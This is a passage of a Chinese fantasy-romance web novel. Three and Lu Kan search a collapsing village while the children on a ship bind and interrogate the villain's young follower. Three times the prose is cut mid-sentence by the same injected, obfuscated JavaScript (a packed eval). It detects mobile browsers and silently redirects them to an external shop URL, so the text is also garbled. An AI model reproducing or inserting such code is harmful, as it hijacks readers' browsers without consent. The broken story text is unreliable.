就在这个时候,远处突然出现一艘巨大的楼船,就在坍塌的水尾寨前方。 裴元一身白衣,站在船头,以傲然之势睥睨着犹如蝼蚁般乱窜嚎啕的水尾寨的村民。 “哈哈,陆在野,你也有今天啊,本世子——” “危急关头,废什么话!” 他的话没说完,就被从后头窜上来的二毛和云丫给推走,云丫朝三枚等人疯狂挥手:“上船!快!上船!” “把兰哥他们先送上去,孟庄的镇魂丹在我手里,我不会有事的。”三枚掰开陆衎环在自己腰间的手,稍微用力一挣,就从他的怀里跳了出来。 她往后跑,拿着孟庄从腹中吐出来的镇魂丹,轻轻擦过昏厥不醒的小坂妹的脸上的血痕。 镇魂丹所过之处,血迹倏而消失,像是被吸附走了一般,有微光一闪而过。 三枚夺过兰哥抱在怀里的锁魂箱,把有些愣神的少年往陆衎的方向一推,“快上船!我稍后便来!”说完埋头奔向了楼船相反的方向。 陆衎望着三枚毅然决然的背影,眉头紧拧,扭头见周围嚎啕一片的混乱场面,胸腔突然涌起一股无名的烦躁怒火。 “还不滚下来!要等人都死光死绝了吗?” 陆衎的声音没有一丝情绪,甚至把话说得很轻,裴元却忍不住打了一个激灵,刚要爬上船头继续抖威风,吓得立马将头一缩。 “天,陆在野这厮怎么一见自己就发脾气啊!真是的!”他眯着眼偷偷往下看了一眼,“啧,小三枚呢?刚还在陆在野怀里呢,怎么一眨眼就不见了?” 怪不得陆在野突然这么暴躁,感情是被人甩了啊! 裴元腹诽不停的时候,之夜已经带着所有暗卫从楼船上飞奔了下来,陆续将水尾寨的村民都接上了楼船,高效快速、井然有序,期间却连与陆衎对视一眼的勇气都没有。 陆衎心中的烦躁仍旧得不到排解,将提溜在手上的兰哥,粗暴地往空中一甩。 “啊啊啊啊!!!” 兰哥猝不及防,双脚腾空后,才爆发出惊恐的尖叫,“啊啊啊!!!接住我!谁来接住我啊啊!” 听见声音的裴元,悄悄探头,龇了下牙,挠着头跳上了船头,足尖一点,纵深一跃,半空中抓住了兰哥的肩膀,三两下将人给拽到了楼船上。 陆衎只睨了一眼,见楼船之后,陆陆续续又驶来了好几艘船,眯眼确认了领头的人之后,只轻蹙了下眉头,之后便毫不犹豫地转身,飞身跃到半空,去寻三枚去了。 —— 三枚背着锁魂箱,手里紧紧抓着镇魂丹,在不断塌落的石块间疾走。 她在弥漫着厚重灰尘的动荡地面上,凝神寻找着孟庄布下的另一个阵眼。 将镇魂丹里被囚困的所有亡灵之魂,彻底释放的另一个阵眼。 “会在哪里呢?”三枚被浓郁的烟雾沙尘呛得口鼻十分难受。 将腕上的红绳解开,她抓着红绳的一端,让最小巧的一枚五铢钱悬在半空,眯眼看它的反应。 “没有?”见五铢钱没有一点反应,三枚眉头一拧,“不可能啊,难道阵眼在他们水尾寨的水牢那边?” “不对不对,若是在水牢那边,小坂妹不可能还能活着走出来。” 三枚一边思考,一边慢下了脚步,她一手捏着下巴,自言自语道:“而且,陆衎和八耳联手破除的阵眼,最初就是这片土地之上,另一个阵眼不可能会在其他地方出现,一定就在附近。” “在哪里呢?” 使劲晃了晃,手中的五铢钱还是没反应,三枚只能蹲下-身来,把锁魂箱放到身前,轻轻地敲了敲。 “啪嗒”一声,锁魂箱打开了,露出了里头的小棺椁。 深棕色鸡翅木雕琢的小棺椁一如往昔的精致,泛着桐油光泽闪闪发亮,它安静地躺在木箱子里、散发着淡淡的中草药味。 三枚却看着棺椁上的、约两指宽的紫铜色铃铛,轻声说道:“小梦铃啊,你给我找找看,孟庄那老家伙到底把阵眼布置在哪里了。” 小巧的铃铛嗡嗡,发出阵阵沉闷的响声。 三枚挑眉,小手抓起铃铛,放在耳边,仔细地聆听了起来。 她的注意力全部聚集在耳边轻响的铃铛上,丝毫没注意掌心下悬空的五铢钱,突然剧烈地晃动了起来,更加不知道身后有块巨大的碎石正朝自己的脑后劈来。 耳边的铃铛闷响不断,三枚拧着眉头,神情逐渐变得凝重,后脑勺忽而感到一阵冷风,好似有什么重物从后头破空而来。 她的本能反应便是转头,看见仿佛近在眼前的巨大石块,瞳孔瑟缩,“糟糕,来不及躲避了。” 尽管心里是这样想的,巨怕痛的三枚,还是没法眼睁睁看着自己被一块丑陋的巨石劈死。 她将铃铛扔进锁魂箱,快速打开双腿,保持弓步,压低身位,双手握拳摆开,打算用拳头将巨石击破。 三枚眼睛紧紧盯着那块朝自己越来越近的巨石,低声跟自己喊话:“只要速度快过它,过掉它就行了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234450|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “应该没问题的,我可以的,我总是说到做到的序三啊。” “哈!” 她仰天大喝一声,瞅准时机出拳的瞬间,腰间蓦然一紧,接着她就见自己突然双腿腾空,“咻”的一下,飞到了空中。 鼻尖闻到一阵熟悉的淡香,三枚侧脸,就见下颚紧绷、冷得快要掉渣的陆衎的侧脸,她惊喜地眨了眨眼,声音有些欢快地道:“你怎么来了?” 陆衎垂眸的瞬间,三枚才看清他此刻一张俊脸黑沉得能滴水。 “你说我怎么来了?” 若不是来了,怎么知道你竟然傻得拿骨肉作的拳头去挡那巨石! 他面沉如水,浑身直冒冷气,口气还很冲,“不来你打算怎么办?拿你钢铁般的拳头,和天降巨石比谁更硬气?” 三枚眨眨眼,不知道陆衎为什么突然对自己阴阳怪气了起来,口气还这么凶,但是她是一个很会看眼色的好姑娘。 陆衎虽然凶起来的样子,也挺好看的,但是她直觉现在自己不能硬碰硬。 于是三枚眉眼忽而往下一耷拉,嘴巴一瘪,双手环着陆衎的脖子,娇娇柔柔地说道:“哇!我好怕怕的,幸好你来了呢!” 记忆中,娘亲每次惹得老爹生气了,就是这般矫揉造作地跟她爹说话的。 效果立竿见影,她爹每次都被娘亲三言两语就哄成了翘嘴。 三枚看得多了,竟然也能无师自通,并且还懂得举一反三。 她揽着陆衎的脖子,将脑袋轻轻靠在他的肩上,竟然还撒娇似的蹭了蹭陆衎的脖子。 “幸好你来了,不然我都不知如何是好了呢。” 三枚边说,边拿眼睛斜睨了陆衎一眼,见他虽然脸色还有些冷沉,但嘴角却忍不住往上扬了扬,忍不住在心里笑道:“果然,男人都吃这一套!” 她的嘴角也跟着往上翘,埋头使劲蹭着陆衎的脖子,接着猛然一抬头,倏而双眼一瞪,拿拳头锤他胸口:“结果呢,你居然凶我!” 三枚翻脸比翻书还快,陆衎还没来得及好好感受心里的隐秘喜悦,就被反将一军。 “放手,我要下地,以后再也不跟你好了。” 陆衎看着前后两幅面孔的三枚,又气又觉得好笑,面对她那理不直气却壮的倒打一耙,他虽然有些无奈,但想想,方才自己说话确实凶了点。 于是率先低下了头颅,他说:“刚才说话大声了点,是我的不是。” 三枚噘着嘴,心里却想:啊呀呀,这人也太好欺负了吧! 她也不闹了,特别宽容大量地道:“你也是一时情急,我原谅你了便是,下次注意点啊。”说完还特别哥俩好地拍了拍陆衎的肩头。 陆衎被气得笑出了声,舌尖抵着后槽牙,抱着人往身边紧了紧,有些咬牙启齿地道:“绝没有下次!” 不过转瞬之间,已经吵完一架又快速和好的两人,落回了还在不断坍塌的地面。 陆衎拽起又重新合上的锁魂箱,带着三枚躲闪越飞越多的石块,问她:“你重新回来,是要找什么吗?” 不是已经将镇魂丹拿到手里了吗,怎么还往回跑? “你是想找孟庄?”陆衎带着三枚旋身,两人方才站立的地方,迅速裂成两半,其中一半咚的一声,眨眼便沉入了水里。 “孟庄逃不了的,之夜已经赶来,在小坂妹父亲的协助下,已经将人捉上了船。” 三枚却摇了摇头,“小屋子不见了。” 她说:“孟庄这个丧心病狂的老家伙,竟然将另一个阵眼,施加在小屋子的身上。” “那孩子是个疯的,估计要自爆!” 64. 第 64 章 “这是,闹家庭矛盾呢?” 成小胖指着围在小坂妹身边关心的父母兄弟,还有孤零零站在他们对面、一脸怒目圆瞪的小屋子,悄声说道,“我感觉,这小孩眼里的恨意,都快要将她小小的身板,给淹没了。” “什么家庭矛盾,我觉得是他们整个家族内部的内讧。” 二毛让开一条道,指着楼船甲板上,泾渭分明、双方气势汹汹各站一边的水尾寨的村民,“就跟咱们小渔村跟别的村争论海域领地的时候,一模一样的。” “若不是船上还有之夜大哥他们在,这群人估计是要狠狠打上一架的。” “管他们打不打的,我三枚阿姐怎么到现在还没出现呢?”云丫一如既往心系三枚的安危。 “那块土地已经轰然倒塌得差不多了,除了灰尘就是灰尘,连我三枚阿姐的身影都看不到一点!” 她大半个身子都趴在了船外,眯着眼睛仔细地在漫天沙尘里寻找三枚的影子,心里的担心越来越大:“该不会落水里去了吧?不行,我要下水看看去,我三枚阿姐可不会水。” 说完云丫便要跨过栏杆,却被裴元一揪衣领,给拽回了原地。 “闹腾什么闹腾什么!还嫌场面不够混乱呢吗?” 他用力拍着扇子,拧着眉头,一副“熊孩子捣蛋鬼”的神情看云丫,“忘了你三枚阿姐的话了吗?一切全听我的指挥!” “我咋记得三姐说的是,听陆少卿大哥的话,没提到你咧。”成小胖挠着头说道。 “啧!”裴元不悦地睨了成小胖一眼,扇子打在栏杆上,啪啪作响,“陆在野不是担心小三枚,追着人去了吗?” “那他走了,剩下的不就得听我的了吗?”他戳了戳成小胖的大脑袋,“可别忘了,半个时辰前,是谁带着你们冲破那诡异的古墙,将一群群的水蛇给药倒的!” 成小胖额头被戳得生疼,一边捂着一边后退,躲到二毛的身后,嘀嘀咕咕道:“你就带了一张嘴,下药入水什么的,可都是我们几个冲在前头呢。” “没我在后头运筹帷幄,你们能取得阶段性的胜利吗?”裴元折扇一一指过二毛几个,“敢不听话,到时小三枚回来,看我怎么跟她告状!” 鱼儿从高处一跃而下,掐着腰道:“可我三枚阿姐现在不知所踪,我们担心她的安危,进水里确认找一找人,也很合乎情理吧。” “下什么水!刚才在墙外的水面上,被药倒后浮上来多少条蛇啊,你们是眨眼就忘的猪脑吗?” 裴元可是毕生难忘,一想到那水面上密密麻麻的全是泛着肚皮水蛇,他便惊悚得起了浑身的鸡皮疙瘩,“现在进了水尾寨,水底下蛇,只多不少!” “况且,你们只关心小三枚,就没人发现,你们的陆少卿大哥也不见影踪吗?” 一直绞尽脑汁觉得欠了点什么的王小花,听见这句话,眼睛蓦然一亮,小手一拍,“对哦,我就说少了个人!” 裴元脸一抽:陆在野那么大一座冰山,存在感那么强的人,你们几个小屁孩,居然能做到忽视他的存在。 厉害厉害!简直后生可畏! 他皱了皱鼻子,轻哼一声,“放心吧,有陆在野那厮在,就是他出事,你们三枚阿姐也一定不会出事。” —— 裴元口中信誓旦旦没事的三枚,鼻血哗啦啦留了一身。 她脑袋微仰,随便抹了一下鼻子,不舒服地皱了皱眉头。 陆衎一脸心疼,小心地捧着她的下巴,拿浸了水的手帕给她擦掉鼻血,“怎么好端端的,又流起鼻血来了?” 他本来带着人,一边留心观察周围,一边往楼船那儿飞去。 孟庄在小坂妹的家人协助下,已经被之夜带上了楼船,作为孟庄最忠诚的拥护者,小屋子必然也上了船。 情绪极其不稳定、又被孟庄完全洗脑了的小孩,估计没有一点自己的判断力,若是孟庄稍微给点眼神或者其他暗示,小屋子可能会义无反顾地为其冲锋陷阵。 必须将孟庄和其他人隔离开,不能让他轻易接触到水尾寨的其他村民。 陆衎眉头轻蹙:裴元不好说,之夜跟在自己身边这么多年,应该不用自己说,也该懂得将嫌犯和普通百姓区分开吧。 他一边想一边加快了速度,越想眉头皱得越深,裴子钰竟然将小渔村的那群孩子也给带过来了,变数太多,实在是令人担心。 陆衎垂眸想跟三枚说点什么,就见她正啪嗒啪嗒流着鼻血,自己却浑然不知一样。 “你、流血了。”他连忙就近停在一块还未坍塌的地上,捧着三枚的小脸,眉头紧皱。 见三枚眼神有些呆滞,陆衎心下一紧,担忧地加大了音量:“三枚?三枚,你能听见我在说什么吗?” 三枚晃了下脑袋,耳边嗡嗡嗡的声音好似减弱了不少,她抬头,有些茫然地看着陆衎。 “怎么了?怎么停下来了?找到小屋子了?” 陆衎轻柔地将她鼻下的血抹开,“你流鼻血了。” “哪里不舒服吗?” 流鼻血了? 三枚垂眸,看着陆衎拇指上的鲜血,皱了皱有些发痒的鼻子,迷蒙的神志变得清醒了一点。 “没有不舒服,”她将脑袋微微向后一仰,揉了揉又有些刺痒的鼻子,“一会儿就不流了,没事。” 她表现得越是淡然自若,陆衎心头的不安便越深了。 他突然想起第一次见三枚的时候,她坐在雨林里的石块上,也是一边无所谓地抹掉不断流淌的鼻血,一边故作轻松地让自己不要急。 但她后来在自己的凝视下,却改了口,说自己可能会七窍流血。 陆衎的心又像是被无数根银针狠狠地扎透了一样,又疼又不舒服。 深呼吸一口气,他小心翼翼地捧起三枚的小脸,忽而轻声问道:“你会死吗?” 三枚被陆衎问得一愣,眨了眨眼后,倏而一笑:“是个人,就有死亡的一天。” 怎么这么聪明的人,居然问出了这么无厘头的问题来了? 难不成是看自己一身道袍,又略懂点法术,就以为自己能长生不老了? “我又不是什么精怪化身,也不是修行成仙的道士,当然会死了。”她笑嘻嘻地歪在陆衎的肩头。 笑够了,才直起身拍拍陆衎的肩膀,三枚眉眼弯弯地道:“别说些有的没的,赶紧走,小屋子那丫头可不是那么有良心的人。” 孟庄手把手教出来的恶魔,估计心比谁都歹毒。 陆衎却将三枚的手抓住,双眸深邃地盯着三枚,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254918|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好久好久。 三枚被看得双颊一红,有些不自在地扭了扭身子,实在忍不住了,佯装凶狠地喝他:“作甚瞪我?” “再看把你眼珠子挖出来!” “你挖啊!” 不料陆衎口气却是比她还冲,斗气似的猛然将脖子往前一伸,一张俊俏的美人脸突然在三枚的眼底放大。 “你!”三枚怕被撞到,吓得往后一仰头,双手杵在他胸膛上,一张脸全都涨红了。 陆衎这时却笑了,笑得特别气人的好看。 三枚恶狠狠地磨着牙,感觉自己被吓到,因此便落了下风,正思忖该怎么扳回一局呢,又见陆衎开口了。 “你家,在湖州哪儿?” “嗯?”三枚被陆衎突如其来的话题问得摸不着头脑,本来有些晕乎乎的脑袋,这下更飘飘然了。 什么啊,周围灰尘肆虐,地下余震未停,到处一片狼藉的,这个时候、这样的氛围,怎么好端端就问起自己家住哪里来了? 三枚双手无意识地扯着陆衎的衣襟,被陆衎专注又认真的眼神看得浑身不自在,手上将人的衣裳扯成了麻花,才咬牙切齿地道:“你问这个作什么!” 当然是找个好时日,上门提亲! 陆衎被自己突然冒出的念头吓了一跳,转瞬又觉得有何不可,他眼尾一挑,默默盘算到时候该找谁帮自己提亲做媒比较合适。 三枚却叫他紧皱的眉头皱得心一颤一颤的,还不等人回答,便故作恶声恶气地道:“不告诉你!” “你问我也不说!而且,现在是说这个的时候吗?小屋子还没找到,你堂堂大理寺少卿,竟然在这里瞎扯些不重要的!” 一心虚话就特别多的三枚,面上义正言辞地指责陆衎不务正业,手下却快将人家的衣襟给扯烂了,耳朵一动一动的,等着听陆衎接下来又要说些什么。 莫不然,会胡搅蛮缠、无理取闹纠缠自己非要告诉他自家的居所才罢休吗? 陆衎看着她一皱一扬的眉毛,觉得她涨红小脸上的生动表情十分可爱,垂眸看向自己快要不保的衣服,想了想,忽而赞同地点了点头:“你说得对。” 三枚傻眼:“啊?”她掏了掏耳朵,以为自己听错了。 “我不问了。”陆衎重复道。 说完见三枚眼神不再呆滞,鼻血也已经止住了,他伸手重新环上她的细腰,轻松将人一抱,又快速地飞跃了起来。 诶,这小子,怎么这么容易就叫他放弃了! 三枚抱着他的脖子,思绪随着一阵狂风凌乱发散,思前想后,拿手指戳了戳陆衎的肩膀:“真不问了?” 陆衎目视前方,肯定地道:“不问了。” 到时候自己好好查查便是,问一个姑娘家住在哪里,确实不怎么好。 三枚却是一拧眉,揪着陆衎硬邦邦的肩膀,“要不,你再问问?” 搞不好自己心情好了,稍微给透漏点信息,也不是没可能。 陆衎却眼神特别坚定地摇头:“不问。” “嘶”了一声,三枚这下是真有点咬牙切齿了,用力锤了下陆衎的胸膛,她恼羞成怒地道:“不问就不问!有什么了不起!” 有本事你一直不问! 看你这辈子找不找得到我家! 65. 第 65 章 裴元他们开进水尾寨的楼船,一步一步地往里深入前进着。 王小花站在船头,睁着明亮的大眼睛,仔仔细细地在废墟一般的残垣断壁里,寻找着三枚和陆衎的声音。 本来就焦躁不耐烦的云丫,迟迟等不到三枚的消息,又被身后不远处、闹腾个不停的小屋子的声音吵得心烦气躁,忽而心气爆发,用力对着船板踹了一脚。 “闭嘴!”她转头,恶声恶气地瞪着小屋子,“从刚才起你就一直在嗷嗷叫,你家老祖宗现在是官府羁押的罪犯,是你说要见就能见的吗?” “你算个什么东西!” 云丫对陌生人说话,一如既往的不客气,特别是面对讨厌的陌生人,其尖酸刻薄的本性显露无遗。 “自家亲姐一身是血躺在那儿昏迷不醒,怎么不见你关心关心?怎么,你家老祖宗是华佗在世,能起死回生啊?” “老祖宗老祖宗,我怎么听说你们根本不是同一脉的血缘关系,自己亲人不认,反倒对着个死老头祖宗祖宗喊个不停,你有病吧!” 小坂妹的父母听见云丫的话,只是撩起眼皮瞥了小屋子一眼,接着又飞快地垂眸,抱紧了浑身是伤的小坂妹。 地震的时候,他们已经抓着小屋子,跟她大致说了下孟庄的恶性,结果这丫头是个死脑筋,一心只想掐死小坂妹,根本不听他们的话,之后还口口声声谩骂他们是叛族的恶人,要替孟庄清理门户。 小坂妹的父母当时心都寒了,若不是确定这孩子是自己亲生的,他们都怀疑这孩子叫孟庄掉包了! 云丫见状,唏嘘地摇了摇头:啧啧,连亲身父母都一脸懒得理她的模样,看来这个叫做小屋子的丫头有毒啊。 “之夜大哥,我强烈建议你将这个无理取闹的丫头给绑起来,拿块布把这叭叭叭不停的小嘴给堵上,看她老不老实!” 闹闹闹,整艘船都不得安宁! “你!” 正躺在地上故意撒泼闹脾气的小屋子,被云丫连环炮一样喷得脑袋发晕,一时想不到能反驳的话。 “哎,别气别气,孩子还小,有话好好说嘛。”成小胖突然从边上窜出来,在小屋子摸爬滚打的地方,撒了好几下药粉。 撒完后,两只胖嘟嘟的手拍了拍,作势往下压了压,和事佬一样劝了几句,“吵架不好,咱心平气和跟孩子讲道理。” 他蹲到打滚的小屋子身边,语气特别老成地道:“你也别闹了。” “有事你就说事,会哭会闹的孩子,在咱们这儿,得到的不是糖果,而是铁拳哦。” 小屋子被他突然攥起的拳头吓了一跳,立马从地上爬了起来,却被鱼儿一把揪住了衣领。 “走,姐姐带你去个好地方,咱们姐几个,好好聊聊天。” 鱼儿话说得温温柔柔,却一脸的阴沉,嘴角还挂着令人心颤的邪笑。 “我不去,我不去!”小屋子心下不安,直觉有诈,腾空的双脚胡乱踢踏,大喊大叫了起来。 “放开我,我不去!”她一边尖叫,一边对着守门神一样挡在庐房门口的之夜喊:“你不是官差吗?她们要打我,你管不管!” 之夜面无表情,环在身前的手抬起来挠了挠耳朵,开始闭目养神。 “啊啊啊!!你们是一伙的!你们欺负良民!果然当官的没一个好人!” “啊啊啊,放开——” 云丫从船头跳了下来,直接抽了条绳子粗暴地将小屋子反手绑了起来,随便在边上扯了块破布,往她嘴里一塞。 “废什么话!把人带到仓库里去,那儿雄黄酒多得是,不怕她耍花招。” 自从听过兰哥义愤填膺地讲完在水尾寨里发生的事后,云丫早就手痒痒一心计划要好好收拾收拾这个小屋子了。 之前碍于人家父母族人在场,没机会动手。 现在嘛,“呵呵!” 他们一颗心只铺在小坂妹的身上,对小屋子冷眼不管,之夜大哥明显也对这丫头不耐烦了,可算让云丫找到个机会。 “走!” 力气最大的鱼儿,单手提着小屋子,轻轻松松将人扛到背上,对着二毛和成小胖小手一挥,“走!别磨蹭!” 到了仓库门口,就见坐在过道的兰哥,正抱着自己的膝盖发呆。 成小胖路过时踢了他一下,摒弃前嫌对他一阵招呼:“跟上。” 这小子算是真真正正跟三姐她老人家并肩作战过的,也算半个自己人了吧。 自己人行动,那就不能把新成员落下。 “啊?”愣神的兰哥,他看了小坂妹的方向一眼,“我得守着她。” 玉娘姑奶奶的魂只招了一半,他想在外面等着三枚回来,问问是怎么回事。 云丫只瞥了兰哥一眼,没说什么。 她的眼里已经没有之前与其针锋相对的敌意,听见兰哥拒绝加入他们的行动,眉头也只是轻皱了一下,便率先带人进入了仓库里。 成小胖却是双手叉腰,一脸不赞同地看着兰哥:这家伙,不合群! “算了,不去就不去。”二毛推搡了成小胖一下,心想有个人守在门口也好,“等会儿要是见了三枚阿姐的身影了,记得招呼一声。” 兰哥点头:“行。”转身便开始望起了风。 —— 半个时辰后。 仓库里传出一阵霹雳吧啦的碰撞声,接着是成小胖咋咋呼呼的叫嚷声,接着是云丫和鱼儿叽里咕噜骂脏话的呵斥声。 兰哥在门口听得心惊肉跳,好奇心驱使,他将一边耳朵整个贴到了门上,努力听清里面到底发生了什么。 “我三枚阿姐中途折返回去,必定是去找寻什么重要的东西,把你知道的,都给我老实交代出来!”云丫的声音低沉,带着赤裸裸威胁意味。 “说不说!不说别怪我不客气!”这是暴躁的鱼儿的恐吓声,伴随着摔摔打打杂音。 然后又是一阵噼里啪啦的吵杂声,接着是成小胖焦急的声音:“诶诶,够了够了,孩子晓得怕了,别倒了。” 倒?倒什么呢? 鼻尖飘过一阵又一阵的刺激性的异味,兰哥好奇死了,心痒难耐,兀自懊恼:早知道刚才就跟着进屋了。 前一秒还和事佬上身的成小胖,忽而有些江湖气地道:“小屋子是吧,按理说啊,咱们也算相识一场,但你在你们水尾寨里的时候,竟然想要坑害我三姐和陆少卿大哥,前后两幅面孔,未免也太不讲究了。” “碍于你年纪还小,生长环境又太过恶劣,脑子不大清醒之下,被孟庄那个坏老头迷惑了心智牵着走,我方大度仁厚,暂且不予你多作计较。” 兰哥挑眉:这小胖子,还挺会说话。 “但是!” 成小胖话锋又有一转,突然提高音量道,“现在我三枚阿姐不知所踪,你们水尾寨余震且未停,情况着实有些不乐观,你如果一直不肯开口,到时候我们着急上头了,我也不确定会对你做出什么来。” 他软硬兼施,“你也别怕。你看啊,你们老祖宗还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272405|133884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 族人啊,差点就被地震覆没了,还好我们及时赶来,你们才得以逃过一劫。如今还能好好活着,都是托了我们的福啊。你知道为什么吗?因为我们都是好人。” “好人跟坏人的区别,其中一点就是我们好人通常讲道理。把你带到这个仓库里来呢,我们也没别的意思,就是找个安静的地方,让你好好想想,想清楚了想明白了,再开口跟我们几个讨论讨论,我三姐和陆少卿大哥是干什么去了。” 兰哥捂住另一边耳朵,整张脸都在用力,就想听听看小屋子会说些什么,结果等了好一会儿,仓库里都没有声音传出来。 “嗙!” 砸椅子的声音! “不说?行,你有种!”云丫气急败坏地道。 紧接着又是一阵“叮铃咣当、乒乒乓乓、稀里哗啦”的杂声。 空气里刺鼻的异味越来浓郁了,兰哥用力嗅了嗅,直觉可能是雄黄酒的味道。 “咳咳!” 小屋子终于有些响动了,她好似被呛狠了,拼命地咳嗽了几声,开口就是:“呸!” “好人?我看你们才是魔鬼!”她的声音沙哑,带着恨意骂道,“什么好人家会将别人家的孩子,按在雄黄酒里泡?!” “还想逼我开口说话,你们拿着臭烘烘的脏抹布死死堵住我的嘴,这样我怎么开口说话!” “神经病吧,我看你们就是一群智力低下的愚蠢的疯子!” “疯子!恶魔!神经——” 小屋子尖利的骂声戛然而止,兰哥盲猜:估计嘴把又叫臭烘烘的脏抹布堵住了。 鱼儿:“还敢说我们拿你泡雄黄酒,你怎么不说说,这浮在水桶里的小水蛇是怎么回事?” 一个小孩子,身上竟然藏了这么多条毒蛇! 刚才在庐房门口,竟然还想神不知鬼不觉地偷偷放蛇! 幸好成小胖眼疾手快,及时撒了药粉,不然真让你把蛇放出来,不知又要引起什么祸乱了。 “防的就是你这暗□□心的死丫头!”王小花哼了一声,“若不是我们姐几个嫌弃你身上脏,早把你里外两层皮给扒拉干净了!” “看你这牙尖嘴利的样儿,估计心里还瞒了不少的事,快说,不说打落你的门牙!” 鱼儿:“快说!” 小屋子嘴巴还真挺硬,兰哥等了好久都没有等到她再次开口说话的声音。 刚想将耳朵从门上移开,他忽而眉头一皱,好似从刚才到现在,都没听见那个叫做二毛的声音。 心里正这么想着,耳边便响起了二毛的声音:“别浪费雄黄酒和药粉了,她身上的毒蛇估计药得差不多了。” “我和成小胖先出去,云丫和鱼儿把人抓紧,王小花你负责把她衣服扒了,这丫头狠起来连自己的亲姐都能残害,不定还谋划着什么害人的计划。” 兰哥瞪眼:哇!看似领头羊的云丫背后,竟然站着这么一个犀利的二毛! 生怕被当场捉住偷听的兰哥,悄悄地从门口挪开,身子趴在栏杆上,忽而有些想念水都里自己的小伙伴了。 抬头正欲感伤一会儿的兰哥,忽而听见一个熟悉的声音,好似从很远很远的地方传来。 他眯着眼睛,凝神朝远处飞速袭来的黑点眺望。 黑点的速度很快,不一会儿便近在眼前。 三枚眉头紧拧,涨红的小脸上神情特别不悦,总是清凌凌淡淡然声音里,此刻夹杂着莫名的怒火。 “将小屋子这个毒丫头,给我踹出来!” 66. 第 66 章 三枚其实是被怎么说都说不听的陆衎给气的,明明自己都松口了,只要他再多问一句,她就给他好好说道说道她们湖州无眉山是怎么回事。 结果人跟头犟驴似的,说不问还真就不问。 于是她将心头的郁闷,全部对准了助纣为虐的小屋子。 熟悉的楼船就在不远处,三枚狠狠锤了下陆衎的胸膛,朝趴在栏杆一脸思考人生的兰哥吼道:“将小屋子这个毒丫头,给我踹出来!” 真是三枚阿姐回来了! 兰哥惊喜地瞪大眼睛,转头朝仓库的方向大喊:“回来了!回来了!三枚阿姐回来了!” “当啷”一声巨响。 仓库里好似发生了一阵动乱,噼里啪啦。 兰哥听得眉头紧皱,从栏杆上回身,抬手就要去敲门:“三枚阿姐回来——” 话才只说了一半,他耳尖地听见房里一阵飓风袭来,直觉危险即将来临,本能反应就是往边上快速一倒。 几乎在同一时间,“嘭!” 房门被从里往外踹飞,“砰”一声撞到栏杆上,瞬间就碎成了两半。 兰哥心有余悸地捂着心脏,幸好他躲得及时,否则就这力道和冲击,肯定要头破血流。 云丫和二毛也太听话了,三枚阿姐说踹,还真就上脚踹,也太凶残了,一点都不含糊啊。 不过这门踹飞了,小屋子人呢? 他心里一边惴惴,一边好奇地探头去看,却见仓库里雄黄酒和药粉撒得到处都是,一地狼藉,然而屋内却空无一人。 人呢?怎么都不见了? 兰哥心道不好,五个大活人,怎么说不见就不见,肯定出事了。 他还没从地上起来就开跑,几乎是手脚并用地爬进了房间。 “怎么回事,人呢?” 兰哥快速地在房内环视了一圈,在墙角一堆木桶边发现了昏倒的云丫。 他连忙跑过去,将倒下的木桶推开,发现边上还躺着鱼儿和王小花,也都昏迷不醒。 “醒醒,发生什么事了?” “发生什么事了?你们怎么都晕倒了?”兰哥不知道云丫几个伤到哪里了,不敢随便动她们,只敢轻轻推下云丫的手臂,“二毛和成小胖呢?” 还有,被你们“严刑拷打”的小屋子呢? “嘶,在这儿呢。” 背后突然传来一个呻-吟声,兰哥转头,就见角落缝隙里,成小胖皱着一张脸朝自己招手呢。 “你们怎么了,怎么都倒下了?” 兰哥转头去扶成小胖,发现二毛就在他的身后。 他左顾右盼,就怕小屋子等会儿从哪个犄角旮旯窜出来。 成小胖背后一阵刺痛,龇牙咧嘴地从地上爬了起来。 听见兰哥的声音,他愁眉苦脸地回忆道:“不晓得啊,我和二毛转过身,刚走到门口的时候,就听见你在外头说我三姐回来了。” 然后他们还没来得高兴呢,房间就刮起了一阵狂风,接着身后传来王小花的惊呼声,头才转了一半,就被突然袭来的狂风卷了起来,扫到角落堆积着的木桶上,然后脑袋就一片空白了。 “我没晕,我就是、有点缓不过来劲。”成小胖揉着额头。 “对了,刚是你在外面喊我三姐回来了吧?” 应该不是他的错觉才对,成小胖甚至觉得,好像那阵狂风,就是在听见兰哥的话后,突然变得猛烈了起来的。 兰哥被成小胖一提醒,顾不得去推醒二毛了,“对对对,三枚阿姐回来了!” “她让你们将小屋子给踹出去呢!”兰哥站起身,在房间里找了起来,“但是,房间里除了你们几个,半点小屋子的踪影都没有。” 仓库里除了他刚才进来的门之外,就只有一扇小小的窗户。 